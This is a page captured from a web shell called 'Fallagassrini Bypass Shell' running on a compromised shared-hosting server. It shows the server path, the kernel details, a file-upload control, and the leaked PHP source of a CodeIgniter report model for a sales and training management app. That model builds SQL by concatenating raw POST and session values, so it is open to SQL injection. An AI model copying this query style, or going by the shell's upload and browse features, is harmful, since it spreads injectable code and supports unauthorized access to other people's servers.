? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/models/reportmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Reportmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

    /*Search function starts here*/


    function search_report($pagenum)
    {
        $data=array();
        $this->db->from('report');
        $this->db->where('report_module_id',$_SESSION['current_mode']);
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('report');
        $this->db->where('report_module_id',$_SESSION['current_mode']);
        $this->db->limit($perpage, $start);
        $this->db->order_by('report_sort','asc');
        $data['results']=$this->db->get();
        return $data;
    }

    function get_production_report_training($postdata)
    {
        $data=array();
        $i = 1;
        $searchstr='';
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);
        if(isset ($postdata['total_amount']))
            $searchstr .= ',training_registration_details.no_pax * training_registration_details.fee_head - training_registration_details.discount as Total';

        $qry="SELECT ".$searchstr." FROM `training_registration`
        join `training_registration_details`  on `training_registration_details`.`training_registration_id`=`training_registration`.`training_registration_id`
        JOIN `training_quotation` ON `training_quotation`.`training_quotation_id` = `training_registration`.`training_quotation_id`
        JOIN `training_proposal_details` ON `training_proposal_details`.`id` = `training_quotation`.`customer_training_id`
        JOIN `training_proposal` ON `training_proposal`.`training_id` = `training_proposal_details`.`training_id`
        JOIN `customer` ON `customer`.`customer_id` = `training_proposal_details`.`customer_id`
        JOIN `employeecustomer` ON `employeecustomer`.`customer_id` = `customer`.`customer_id`
        JOIN `employee` ON `employee`.`employee_id` = `employeecustomer`.`employee_id`
        JOIN `activity` ON `activity`.`activity_id` = `training_proposal`.`activity_id` where `training_registration`.`training_registration_id` !=''";
        
        if($postdata['customer_id']!="")
            $qry.=" and `customer`.`customer_id` = '".$postdata['customer_id']."'";

        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";

        if($postdata['training_id']!="")
            $qry.=" and `training_proposal`.`training_id` = '".$postdata['training_id']."'";

        if($postdata['activity_id']!="")
            $qry.=" and `activity`.`activity_id` = '".$postdata['activity_id']."'";
        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and training_registration_date between '$fromdate' and '$todate'";
        }
        
        $qry.=" group by `training_registration`.`training_registration_id` order by `training_registration`.`training_registration_id` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }

    function get_production_report_software($postdata)
    {
        $data=array();
        $i = 1;
        $searchstr='';
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);
        
        if(isset($postdata['total_amount']))
            $searchstr .= ',software_placement_details.quantity * software_placement_details.price - software_placement_details.discount as Total';

        $qry="SELECT ".$searchstr.",`software_placement`.`placement_id` FROM `software_placement`
        join `software_placement_details`  on `software_placement_details`.`placement_id`=`software_placement`.`placement_id`
        JOIN `software_proposal` ON `software_proposal`.`software_proposal_id` = `software_placement`.`software_proposal_id`
        JOIN `customer` ON `customer`.`customer_id` = `software_proposal`.`customer_id`
        JOIN `employeecustomer` ON `employeecustomer`.`customer_id` = `customer`.`customer_id`
        JOIN `employee` ON `employee`.`employee_id` = `employeecustomer`.`employee_id`
        JOIN `activity` ON `activity`.`activity_id` = `software_proposal`.`activity_id` where `software_placement`.`placement_id` !=''";

        if($postdata['customer_id']!="")
            $qry.=" and `customer`.`customer_id` = '".$postdata['customer_id']."'";

        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";

        if($postdata['activity_id']!="")
            $qry.=" and `activity`.`activity_id` = '".$postdata['activity_id']."'";

        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and placement_date between '$fromdate' and '$todate'";
        }

        $qry.=" group by `software_placement`.`placement_id` order by `software_placement`.`placement_id` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }
    
    function get_employee_target_report($postdata)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $i = 1;
        $searchstr='';
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);

        $qry="SELECT ".$searchstr.",`employee`.`employee_id` FROM `employee_target`
        JOIN `employee` ON `employee`.`employee_id` = `employee_target`.`employee_id`
        where `employee_target`.`employee_target_id` !=''";
        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";
        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and `employee_target`.`start_date` between '$fromdate' and '$todate'";
        }

        $qry.="  order by `employee_target`.`start_date` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }


    function get_branch_target_report($postdata)
    {
        $data=array();
        $i = 1;
        $searchstr='';
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);
        $qry="SELECT ".$searchstr.",`branch`.`branch_id` FROM `branch_target`
        JOIN `branch` ON `branch`.`branch_id` = `branch_target`.`branch_id`
        where `branch_target`.`branch_target_id` !=''";
        if($postdata['branch_id']!="")
            $qry.=" and `branch`.`branch_id` = '".$postdata['branch_id']."'";

        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and `branch_target`.`start_date` between '$fromdate' and '$todate'";
        }

        $qry.="  order by `branch_target`.`start_date` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }
    
    function get_leads_report($postdata)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $i = 1;
        $searchstr='';
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);
      
        $qry="SELECT ".$searchstr." FROM `sales_lead`
        JOIN `employee` ON `employee`.`employee_id` = `sales_lead`.`employee_id`
        JOIN `activity` ON `activity`.`activity_id` = `sales_lead`.`activity_id` where
        `sales_lead`.`sales_lead_id` !=''";

      
        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";

        if($postdata['activity_id']!="")
            $qry.=" and `activity`.`activity_id` = '".$postdata['activity_id']."'";
        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and date between '$fromdate' and '$todate'";
        }

        $qry.=" group by `sales_lead`.`sales_lead_id` order by `sales_lead`.`date` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }

    function get_daily_activity_report($postdata)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $i = 1;
        $searchstr='';
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);

        $qry="SELECT ".$searchstr." FROM `daily_activity_details`
        JOIN `daily_activity` ON `daily_activity`.`daily_activity_id` = `daily_activity_details`.`daily_activity_id`
        JOIN `employee` ON `employee`.`employee_id` = `daily_activity`.`employee_id`
        where `daily_activity_details`.`daily_activity_id` !=''";
        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";
        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and activity_date between '$fromdate' and '$todate'";
        }

        $qry.="  order by `daily_activity`.`activity_date` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }

    function get_leave_report($postdata)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }

        $i = 1;
        $searchstr='';
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);

        $qry="SELECT ".$searchstr." FROM `leave_application`
        JOIN `leave_type` ON `leave_type`.`leave_type_id` = `leave_application`.`leave_type_id`
        JOIN `employee` ON `employee`.`employee_id` = `leave_application`.`employee_id`
        where `leave_application`.`leave_application_id` !=''";
        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";
        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and from_date between '$fromdate' and '$todate'";
        }

        $qry.="  order by `leave_application`.`from_date` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }
    function get_salary_report($postdata)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $i = 1;
        $searchstr='';
        while($i<=$postdata['field_count'])
        {
            if(isset($postdata['field_name_'.$i]))
            {
                $column_name = explode('~',$postdata['field_name_'.$i]);
                $searchstr .= $column_name[0]." as ".$column_name[1].",";
            }
            $i++;

        }
        $searchstr = substr($searchstr, 0, -1);

        $qry="SELECT ".$searchstr." FROM `employee_salary_slip`
        JOIN `employee` ON `employee`.`employee_id` = `employee_salary_slip`.`employee_id`
        where `employee_salary_slip`.`employee_salary_slip_id` !=''";
        if($postdata['employee_id']!="")
            $qry.=" and `employee`.`employee_id` = '".$postdata['employee_id']."'";
        if ($flag==1)
        {
            $qry.=" and `employee`.`employee_id`  in (".$_SESSION['employees'].")";
        }
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and salary_date between '$fromdate' and '$todate'";
        }

        $qry.="  order by `employee_salary_slip`.`salary_date` desc";
        $res=$this->db->query($qry);
         if ($res->num_rows() > 0)
         {
             foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
         }
         $res->free_result();
         return $data;
    }


    function employee_target_details($employee_id,$start_date,$end_date)
    {
        $data=array();
        $start_date=$this->mastermodel->convertdateformat($start_date);
        $end_date=$this->mastermodel->convertdateformat($end_date);
        $sql="(SELECT
        `customer`.`customer_name` as customer_name
        , `training_quotation`.`quotation_code` as quotation_ref
        , `activity`.`activity_name` as activity_name
        , `training_registration`.`training_registration_date` as date
        , SUM((`training_registration_details`.`no_pax` *
         `training_registration_details`.`fee_head`)-
         `training_registration_details`.`discount`) as amount
        , `master`.`owner_id`
        FROM
        `training_registration_details`
        INNER JOIN `training_registration`
            ON (`training_registration_details`.`training_registration_id` = `training_registration`.`training_registration_id`)
        INNER JOIN `training_quotation`
            ON (`training_registration`.`training_quotation_id` = `training_quotation`.`training_quotation_id`)
        INNER JOIN `master`
            ON (`training_registration`.`training_registration_id` = `master`.`masterid`)
        INNER JOIN `training_proposal_details`
            ON (`training_quotation`.`customer_training_id` = `training_proposal_details`.`id`)
        INNER JOIN `customer`
            ON (`training_proposal_details`.`customer_id` = `customer`.`customer_id`)
        INNER JOIN `training_proposal`
            ON (`training_proposal_details`.`training_id` = `training_proposal`.`training_id`)
        INNER JOIN `activity`
        ON (`training_proposal`.`activity_id` = `activity`.`activity_id`)
        where `master`.`owner_id`='$employee_id' and `training_registration`.`training_registration_date` between '$start_date' and '$end_date'
        GROUP BY `training_registration_details`.`training_registration_id`)
        UNION
        (SELECT
            `customer`.`customer_name` as customer_name
            , `software_proposal`.`proposal_code` as quotation_ref
            , `activity`.`activity_name` as activity_name
            , `software_placement`.`placement_date` as date
            , SUM((`software_placement_details`.`quantity` *
              `software_placement_details`.`price`)-
              `software_placement_details`.`discount`) AS amount
            , `master`.`owner_id`
        FROM
            `software_placement`
            INNER JOIN `master`
                ON (`software_placement`.`placement_id` = `master`.`masterid`)
            INNER JOIN `software_placement_details`
                ON (`software_placement_details`.`placement_id` = `software_placement`.`placement_id`)
            INNER JOIN `software_proposal`
                ON (`software_placement`.`software_proposal_id` = `software_proposal`.`software_proposal_id`)
            INNER JOIN `activity`
                ON (`software_proposal`.`activity_id` = `activity`.`activity_id`)
            INNER JOIN `customer`
                ON (`software_proposal`.`customer_id` = `customer`.`customer_id`)
        where `master`.`owner_id`='$employee_id' and `software_placement`.`placement_date` between '$start_date' and '$end_date'
        GROUP BY `software_placement_details`.`placement_id`)";
        $Q=$this->db->query($sql);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function branch_target_details($branch_id,$start_date,$end_date)
    {
        $data=array();
        $start_date=$this->mastermodel->convertdateformat($start_date);
        $end_date=$this->mastermodel->convertdateformat($end_date);
        $employee_list=$this->mastermodel->get_data('employee',$branch_id,'employee_branch_id');
        foreach ($employee_list as $list)
        {
            $employees=$list['employee_id'].',';
        }
        $employees=substr($employees, 0,-1);
        $sql="(SELECT
        `customer`.`customer_name` as customer_name
        , `training_quotation`.`quotation_code` as quotation_ref
        , `activity`.`activity_name` as activity_name
        , `training_registration`.`training_registration_date` as date
        , SUM((`training_registration_details`.`no_pax` *
         `training_registration_details`.`fee_head`)-
         `training_registration_details`.`discount`) as amount
        , `master`.`owner_id`, `employee`.`employee_name`
        FROM
        `training_registration_details`
        INNER JOIN `training_registration`
            ON (`training_registration_details`.`training_registration_id` = `training_registration`.`training_registration_id`)
        INNER JOIN `training_quotation`
            ON (`training_registration`.`training_quotation_id` = `training_quotation`.`training_quotation_id`)
        INNER JOIN `master`
            ON (`training_registration`.`training_registration_id` = `master`.`masterid`)
        INNER JOIN `employee`
            ON (`master`.`owner_id`=`employee`.`employee_id`)
        INNER JOIN `training_proposal_details`
            ON (`training_quotation`.`customer_training_id` = `training_proposal_details`.`id`)
        INNER JOIN `customer`
            ON (`training_proposal_details`.`customer_id` = `customer`.`customer_id`)
        INNER JOIN `training_proposal`
            ON (`training_proposal_details`.`training_id` = `training_proposal`.`training_id`)
        INNER JOIN `activity`
        ON (`training_proposal`.`activity_id` = `activity`.`activity_id`)
        where `master`.`owner_id` in ($employees) and `training_registration`.`training_registration_date` between '$start_date' and '$end_date'
        GROUP BY `training_registration_details`.`training_registration_id`)
        UNION
        (SELECT
            `customer`.`customer_name` as customer_name
            , `software_proposal`.`proposal_code` as quotation_ref
            , `activity`.`activity_name` as activity_name
            , `software_placement`.`placement_date` as date
            , SUM((`software_placement_details`.`quantity` *
              `software_placement_details`.`price`)-
              `software_placement_details`.`discount`) AS amount
            , `master`.`owner_id`, `employee`.`employee_name`
        FROM
            `software_placement`
            INNER JOIN `master`
                ON (`software_placement`.`placement_id` = `master`.`masterid`)
            INNER JOIN `employee`
                ON (`master`.`owner_id`=`employee`.`employee_id`)
            INNER JOIN `software_placement_details`
                ON (`software_placement_details`.`placement_id` = `software_placement`.`placement_id`)
            INNER JOIN `software_proposal`
                ON (`software_placement`.`software_proposal_id` = `software_proposal`.`software_proposal_id`)
            INNER JOIN `activity`
                ON (`software_proposal`.`activity_id` = `activity`.`activity_id`)
            INNER JOIN `customer`
                ON (`software_proposal`.`customer_id` = `customer`.`customer_id`)
        where `master`.`owner_id` in ($employees) and `software_placement`.`placement_date` between '$start_date' and '$end_date'
        GROUP BY `software_placement_details`.`placement_id`)";
        $Q=$this->db->query($sql);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net